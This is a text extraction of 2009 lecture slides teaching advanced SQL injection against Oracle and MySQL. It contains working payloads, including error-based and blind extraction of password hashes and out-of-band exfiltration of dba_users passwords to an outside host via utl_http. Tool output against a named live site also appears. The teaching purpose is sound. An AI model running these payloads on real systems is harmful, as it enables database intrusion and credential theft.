Advanced SQL Injection, Lecture notes of Logic

Download Advanced SQL Injection and more Lecture notes Logic in PDF only on Docsity! Ls Security | SQL Injection Bochum Alexander Kornbrust 10-Nov-2009 Red-Database-Security GmbH 1 2 Red-Database-Security GmbH Table of Content !   Introduction !   Architecture !   Typical Attackers !   Tools !   SQL Basics !   SQL Injection Basics 5 Red-Database-Security GmbH The ivory tower solution in the real world Final solution •  Complex architecture •  All types of clients are accessing the database •  Security and business rules only enforced in the first application server S&B rules We need a reporting solution Some people must connect with TOAD New project You have nice data, we will use it We just do a database link Another project Yet another project 6 Red-Database-Security GmbH Scenario – 130 Databases DBA 1 DBA 2 DBA n Internet Server Firewall Server Endusers 7 Red-Database-Security GmbH Attacker Attackers 10 Red-Database-Security GmbH Classification Attackers – Curious DBA or Employee Type: Curious DBA or employee Scenario: Interested in private/sensitive information. Samples: •  Looking up for salary of colleagues, private numbers, emails, account status of politician,… •  Supporting private investigators (PI) Known incidents: Miles & More (Employee was looking up what politicians Identification: Mostly select statements, Few/No traces without audit, Difficult to spot 11 Red-Database-Security GmbH Classification Attackers – DBA covering it's own fault Type: DBA covering it's own fault Scenario: Try to remove evidence about a (serious) fault. Probably it's not a good approach to ask the DBA to do the forensics Samples: •  Deleted the wrong user, killed the wrong database session, changed the wrong password… Identification: Easier because timeframe is defined, backups / archive logs disappear, Modification of audit-Table, … 12 Red-Database-Security GmbH Classification Attackers – Criminal Employee Type: Criminal employee Scenario: Interested to earn money, damage the company, blackmail, …. Samples: •  Getting insider information (stocks, merger&acquisition) •  Get company secrets (formulas, algorithm, source code, …) •  Blackmailing companies (with customer data, e.g. black money) •  Reset bills of friends and families Known incidents: LGT Bank Liechtenstein, Coca Cola recipe, … Identification: Attackers invest time/resources to hide, modifying data (invoice), Longer period affected 15 Red-Database-Security GmbH Classification Attackers – Intelligence Agency Type: Intelligence Agency Scenario: Get valuable information (military, economic) to protect the country Samples: •  Steal military data •  Intercept proposals, financial data, … Known Incidents: •  Lopez/Volkswagen (CIA), ICE (France), Whitehouse/Bundestag/… (China) Known Suspects: •  China, France, Israel, Russia, US 16 Red-Database-Security GmbH 10 years of SQL Injection… 17 Red-Database-Security GmbH Introduction SQL Injection is still the biggest security problem in web applications. This year we can celebrate it's the 10th anniversary of SQL Injection. Even if the problem is know since 10 years the knowledge especially for exploiting Oracle databases is poor. Most example and tutorials are only for MySQL and SQL Server. Detailed explanations for SQL Injection in web apps with Oracle databases are rare and often buggy. That's why SQL Injection in Oracle is often not exploited… The following presentation shows everything from simple statements to complex queries… 20 Red-Database-Security GmbH Tools / Google [...] Search for Oracle Error Message ORA-01756 and PHP 21 Red-Database-Security GmbH SQL Injection Tool - Websparker(commercial) http://www.mavitunasecurity.com/ http://tinyurl.com/yl5wgx5 Demo: SQL Injection Tool — Pangolin (commercial) 5. 3 Pangolin -- Maded By Zwell. -- http://www.nosec.org up [http:f/victim.com:7777}php1.php?id=7900 y |cet + DP check MM Pause [i stop Type [Integer > DB Joracle + KeyWord | Joptions GY Reset © ~ @) Informations > éDatas < @® Oracle Remate Data Table{Column | [bePTNO | DNAME [Loc D1 soon 10 ACCOUNTING NEW YORK oO DUMMY 20 RESEARCH DALLAS O saterave 30 = & vert © bePtno DNAME © toc O emp lowes rloretyere ist | se ‘By Tables [2] columns ‘Content is : DALLA Content is : DALLAS Processing records of 34 Length is : 2 Content is : 3 Content is : 30 La fl Running... mt Version 1.3.1.650 Red-Database-Security GmbH 22 SQL Injection Tool - darkORASQLi.py (free) ae G:\darkcOde>python darkORASQLi.py -u “http://www.heinrich-vogel-shop.de/detail.php?id=2468" --info -- Multi Purpose Oracle SQL Injection Tool -- Usage: darkORASQLi.py [options) | | | | | 05/2009 darkORASQLi.py | | | | | | -h help hackingexpose.blogspot.com | {+] URL: http://www.heinrich-vogel-shop.de/detail.php?id=2468 (+) 22:24:37 {+} Evasion: + -- [+] Cookie: None [+] SSL: No (+] Agent: Microsoft Internet Explorer/4.0bl (Windows 95) {-] Proxy Not Given (+] Gathering Oracle Server Configuration... Database: GECONT User: SHOP2 Version: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod [+] Do we have Access to Oracle Database: NO {-] Oracle user enumeration has been skipped! {-] We do not have access to Oracle DB on this target! (-) 22:24:54 {-] Total URL Requests: 3 {-] Done Don't forget to check darkORASQLi.log 26 Red-Database-Security GmbH SQL Injection Tool - darkMySQLi.py (free) ./darkMySQLi.py -u “http://www.sample.co.id/read_news.php?id=54” – findcol ./darkMySQLi.py -u “http://www.sample.co.id/read_news.php?id=54+AND +1=2+UNION+SELECT+darkc0de, darkc0de,darkc0de,4,5″ –info Database: sample_db User: sample_rully [at] example432 [d0t] eightbox [d0t] net Version: 5.0.51a-log [+] Do we have Access to MySQL Database: NO [-] MySQL user enumeration has been skipped! [-] We do not have access to mysql DB on this target! [+] Do we have Access to Load_File: YES <– w00t w00t [+] Magic quotes are: OFF <– w00t w00t [!] Would You like to fuzz LOAD_FILE (Yes/No): yes http://rapidshare.com/files/211594510/darkmysqli16.rar 27 Red-Database-Security GmbH   Get a reverse shell   Upload and run binaries (e.g. keylogger, trojans, …) on the database server   Add malicious java script code to the web application (to infect web users) (SQL Worm)   Jump to other servers (DMZ/Intranet) After stealing the data 30 Red-Database-Security GmbH Based on my experience the human brain is the best tool to find complex SQL Injection vulnerabilities because tools only find known/common SQL Injection. To scan a large amount of URL/websites a tool can be really helpful. In many companies tools are the only possibility to scan large amounts of intranet pages. These tools are able to identify most of the SQL Injection vulnerabilities (low hanging fruits) Tools / human brain 31 Red-Database-Security GmbH See also SQL code could also be injected using barcode. Create a barcode containing SQL statements. Barcode is nothing else then text in a different font Barcode Injection and inject code using a barcode scanner. RFID is also a potential candidate for (SQL) code injection. http://www.phenoelit-us.org/stuff/StrichAufRechnung.pdf 32 Red-Database-Security GmbH Sometime it is even possible to inject SQL Code via paper Insert SQL statements into comment field SQL Injection via Paper ' o r 1 = 1 - - 35 Red-Database-Security GmbH SQL Basics SQL = Structured Query Language Developed in the early 1970s, First commercial implementation in 1979 from Oracle. Every vendor is implementing a different syntax (e.g. Oracle, Microsoft, DB2, …). The lowest denominator is the simple SQL syntax. Vendor specific extensions (e.g. XML) are much more powerful but require an extensive study of the documentation. These extensions are often ignored… 36 Red-Database-Security GmbH SQL Basics (Oracle) The knowledge of SQL Commands useful for (database) security experts. By using "exotic" commands it is often possible to bypass restrictions (e.g. EXPLAIN PLAN can bypass Oracle Audititing, MERGE can often bypass IDS filtering INSERT/ UPDATE) DDL= Data Definition Language * CREATE, ALTER, DROP, RENAME, GRANT, REVOKE, AUDIT, NOAUDIT, COMMENT, ANALYZE, ASSOCIATE STATISTICS, DISASSOCIATE STATISTICS, PURGE, FLASHBACK DML= Data Manipulation Language * CALL, EXPLAIN PLAN, LOCK TABLE, INSERT, UPDATE, DELETE, MERGE, TRUNCATE, SELECT (limited) TCL= Transaction Control Language * COMMIT, ROLLBACK, SAVEPOINT, SET TRANSACTION, SET CONSTRAINT http://www.oracle.com/pls/db111/portal.all_books 37 Red-Database-Security GmbH SQL Basics – (simple) SELECT statement SELECT  WHAT TO DISPLAY FROM  FROM WHERE WHERE  CONDITIONS GROUP BY  GROUPING HAVING  CONDITION FOR GROUPING ORDER BY  SORT 40 Red-Database-Security GmbH SQL Basics – Self-Join SELECT t1.firstname, t1.lastname, t2.firstname, t2.lastname FROM table t1, table t2 WHERE t1.id = t2.id   Use aliases to access the same table/view twice SELECT t1.firstname, t1.lastname, t2.firstname, t2.lastname FROM table t1, table t2 WHERE t1.id > t2.id AND LOCATION = 'Germany'   Depending from the queries, selfjoins sometimes require > or < instead of equal sign. 41 Red-Database-Security GmbH SQL Basics – Outer-Join I SELECT firstname, lastname, product, amount FROM customers, products WHERE customers.id = products.custid (+)   Show a list of all customers even if they are not in the products table   Oracle is using a (+)   ANSI the string "OUTER JOIN" 42 Red-Database-Security GmbH SQL Basics – Outer-Join I a (MySQL) SELECT * T1 LEFT JOIN T2 ON P1(T1,T2) WHERE P(T1,T2) AND R(T2) 45 Red-Database-Security GmbH SQL Basics – SET Operator SQL supports the following SET operators * UNION (eliminates duplicates) * UNION ALL (without elimination of duplicates) * MINUS * INTERSECT 46 Red-Database-Security GmbH SQL Basics – SET Operator - UNION SELECT firstname, lastname FROM customers UNION SELECT username, null FROM ALL_USERS ORDER BY 1,2 47 Red-Database-Security GmbH SQL Basics – Boolean Logic The knowledge of Boolean logic is important for SQL Injection… Everybody is using OR 1=1 -- But why is everybody using it? 50 Red-Database-Security GmbH SQL Basics – Boolean Logic To be on the safe side it is important to use OR and AND SELECT * FROM table WHERE id > 12 OR 1 = utl_inaddr.get_host_address(user) SELECT * FROM table WHERE id > 12 AND 1 = utl_inaddr.get_host_address(user) 51 Red-Database-Security GmbH SQL Basics – Comments Oracle supports 2 kind of comments line comments: -- # (MySQL) multi-line comments: /* */ Sometimes the following trick can bypass some IDS because the everything after the -- is handled as comment SELECT /*--*/ * from table; 52 Red-Database-Security GmbH SQL Basics – String Concatenation Oracle supports 2 kind of string concatenation Using double pipe: 'first'||'second' (not in MySQL ANSI mode) Using concat function: concat('first','second') The concat function is unusual in the Oracle. In MySQL it is more common because the concat function is not limited to 2 parameters only. SELECT concat(concat(username,chr(61)),password) FROM DBA_USERS SELECT username||'='||password FROM DBA_USERS SELECT username||chr(61)||password FROM DBA_USERS 55 Red-Database-Security GmbH SQL Basics – Combining queries III KEEP IN MIND!!! Everything is a query.... KEEP IN MIND!!! Everything in a query can be replaced by a query …  Endless possibilities to add queries Example: a integer value can be replaced by a query 1 = (select 1 from dual) 1 = (select length(utl_http.request('http:// www.orasploit.com/'||(select password from dba_users where rownum=1)))) a string can be replaced by a query 'string' = (select 'string' from dual) 'string' = translate((select 'abcdef' from dual),'fedcba','gnirts') 56 Red-Database-Security GmbH SQL Basics – Combining queries IV By using functions (e.g. utl_http or httpuritype) we can inject multiple tables… e.g. replace 1 by (select sum(utl_http.request('http:// www.orasploit.com/'username||'='||password) from dba_users) SELECT username FROM ALL_USERS WHERE ID > 1 ORDER BY 1,2; 57 Red-Database-Security GmbH SQL Basics – Combining queries IV By using functions (e.g. utl_http or httpuritype) we can inject multiple tables… e.g. replace 1 by (select sum(utl_http.request('http:// www.orasploit.com/'username||'='||password) from dba_users) SELECT username FROM ALL_USERS WHERE ID > 1 ORDER BY (select sum(length(utl_http.request('http:// www.orasploit.com/'username||'='||password)) from dba_users),2; 60 Red-Database-Security GmbH SQL Basics – Combine multiple rows MySQL Combining multiple rows into a single command is not that simple but useful in situations where only 1 row can be retrieved (e.g. in error messages). SELECT GROUP_CONCAT(user) from mysql.user;-- Provides a list of all mysql users separated by comma 61 Red-Database-Security GmbH SQL Basics – Combine multiple rows I Combining multiple rows into a single command is not that simple but useful in situations where only 1 row can be retrieved (e.g. in error messages). Oracle offers different possibilities to do this: * stragg (Oracle 11g+) * XML (Oracle 9i+) * CONNECT BY (all Oracle versions, Idea by Sumit Siddharth) 62 Red-Database-Security GmbH SQL Basics – Combine multiple rows II - stragg Select utl_inaddr.get_host_name('Accounts='||(select sys.stragg(distinct username||';') as string from all_users)) from dual ERROR at line 1: ORA-29257: host Accounts=ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP ;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000;FLOWS_FILES;MDDAT A;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGI NS;ORDSYS;OUTLN;OWBSYS;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ ADMIN_USR;SPATIAL_WFS_ADMIN_USR;SYS;SYSMAN;SYSTEM;TSMS YS;WKPROXY;WKSYS;WK_TEST;WMSYS;XDB;XS$NULL; unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 65 Red-Database-Security GmbH SQL Basics – Accessing an individual row (Oracle) Oracle has a virtual column called rownum. SELECT rownum, all_users FROM all_users; To access the first column you can use "WHERE rownum=1". The problem is that "WHERE rownum=2" does not return anything. To access the second it is necessary to use the following query: select username||'='||password from (select rownum r, username,password from dba_users) where r=2; 66 Red-Database-Security GmbH SQL Basics – Accessing an individual row (MySQL) MySQL has the limit function to access an individual row SELECT * FROM order limit 5,1; 67 Red-Database-Security GmbH SQL Injection Basics SQL Injection Basics 70 Red-Database-Security GmbH SQL Injection Basics – Common Approach Approach of exploiting web apps: 1. Construct a valid SQL statement 2. Analyze the data structure of the web app 3. Retrieve the data 71 Red-Database-Security GmbH SQL Injection Basics – Webapps There are 3 main common techniques of exploiting SQL Injection in webapps * Inband easiest * Out-of-Band easier * Blind more requests 72 Red-Database-Security GmbH SQL Injection Basics – Inband Definition Inband: Retrieve the results of the SQL Injection in the same input (e.g. in the browser). Data can be display in the normal output or in an error message. 75 Red-Database-Security GmbH SQL Injection Basics – Inband – Sample 2 76 Red-Database-Security GmbH SQL Injection Basics – Inband – order.jsp I http://victim.com/order.jsp?id=17 Variant (a) http://victim.com/order.jsp?id=17 Variant (b) Web application constructs: Variant (a) Variant (b) SELECT * SELECT * FROM table FROM table WHERE id='17' where id=17 77 Red-Database-Security GmbH SQL Injection Basics – Inband – order.jsp II http://victim.com/order.jsp?id=17' Variant (a) http://victim.com/order.jsp?id=17' Variant (b) Web application constructs: Variant (a) Variant (b) SELECT * SELECT * FROM table FROM table WHERE id='17'' where id=17'  Throws an Oracle error 80 Red-Database-Security GmbH SQL Injection Basics – Inband – order.jsp IV Now we must find out how many columns are used in the first SELECT statement. The most common techniques are the usage of "ORDER BY" or adding NULL values to the second query. SELECT * FROM table UNION SELECT null,null FROM table SELECT * FROM table ORDER BY 8 81 Red-Database-Security GmbH SQL Injection Basics – Inband – order.jsp IV SELECT * FROM table (1st attempt) UNION SELECT null,null FROM dual  ORA-01789: query block has incorrect number of result columns SELECT * FROM table (2nd attempt) UNION SELECT null,null,null FROM dual  ORA-01789: query block has incorrect number of result columns SELECT * FROM table (3rd attempt) UNION SELECT null,null,null,null FROM DUAL  Number of Columns = 4 82 Red-Database-Security GmbH SQL Injection Basics – Inband – order.jsp V SELECT * FROM table (1st attempt) ORDER BY 8  ORA-01785: ORDER BY item must be the number of a SELECT-list expression SELECT * FROM table (2nd attempt) ORDER BY 4  Normal output SELECT * FROM table (3rd attempt) ORDER BY 6  ORA-01785: ORDER BY item must be the number of a SELECT-list expression SELECT * FROM table (4th attempt) ORDER BY 5  ORA-01785: ORDER BY item must be the number of a SELECT-list expression 85 Red-Database-Security GmbH SQL Injection Basics – Inband-Error Get information via error messages: select utl_inaddr.get_host_name('bochum') from dual; * ERROR at line 1: ORA-29257: host bochum unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 86 Red-Database-Security GmbH SQL Injection Basics – Inband-Error Replace the string with a subselect to modify the error message: select utl_inaddr.get_host_name((select username||'='|| password from dba_users where rownum=1)) from dual; * ERROR at line 1: ORA-29257: host SYS=D4DF7931AB130E37 unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 87 Red-Database-Security GmbH SQL Injection Basics – Inband-Error http://victim.com/order.cfm?id=111|| utl_inaddr.get_host_name((select banner from v$version where rownum=1)) Message: Error Executing Database Query. Native error code: 29257 Detail: [Macromedia][Oracle JDBC Driver][Oracle] ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 90 Red-Database-Security GmbH SQL Injection Basics – Inband - Error But there enough alternatives for utl_inaddr: ordsys.ord_dicom.getmappingxpath, dbms_aw_xml.readawmetadata, ctxsys.drithsx.sn, ... or 1=ordsys.ord_dicom.getmappingxpath((select banner from v $version where rownum=1),user,user)-- ORA-53044: invalid tag: Oracle Enterprise Edition 11.1.0.6 or 1=SYS.DBMS_AW_XML.READAWMETADATA((select banner from v $version where rownum=1),null)-- ENG: ORA-34344: Analytic workspace Oracle Enterprise Edition 11.1.0.6 is not attached. 91 Red-Database-Security GmbH SQL Injection Basics – Out-of-Band Definition Out-of-Band: A different channel (e.g. HTTP, DNS) is used to transfer the data from the SQL query. If this is working it is the easiest way to retrieve a large amount of data from the database This technique is not available on MySQL. 92 Red-Database-Security GmbH SQL Injection Basics – Out-of-Band – HTTP Request UTL_HTTP is often revoked from public on hardened databases. In this case HTTPURITYPE is normally working because it is not documented as a potential security problem in the Oracle documentation Send information via HTTP to an external site via utl_http select utl_http.request ('http://www.orasploit.com/'|| (select password from dba_users where rownum=1)) from dual; Send information via HTTP to an external site via HTTPURITYPE select HTTPURITYPE( 'http://www.orasploit.com/'|| (select password from dba_users where rownum=1) ).getclob() from dual; 95 Red-Database-Security GmbH SQL Injection Basics – Blind Definition Blind: Different timings / results are used to retrieve data from the database. Oracle offers 2 possibilities to run blind injection. •  DECODE (normally used by Oracle developers) •  CASE MySQL support the sleep() command 96 Red-Database-Security GmbH SQL Injection Basics – Blind Use different timings of select statements to get information Pseudo-Code: If the first character of the sys-hashkey is a 'A' then select count(*) from all_objects,all_objects else select count(*) from dual end if; 97 Red-Database-Security GmbH Blind methods – Timebased (Heavy query) (Oracle) SQL> select decode(substr(user,1,1),'S',(select count (*) from all_objects),0) from dual; 0 Elapsed: 00:00:00.00 SQL> select decode(substr(user,1,1),'A',(select count (*) from all_objects),0) from dual; 50714 Elapsed: 00:00:22.50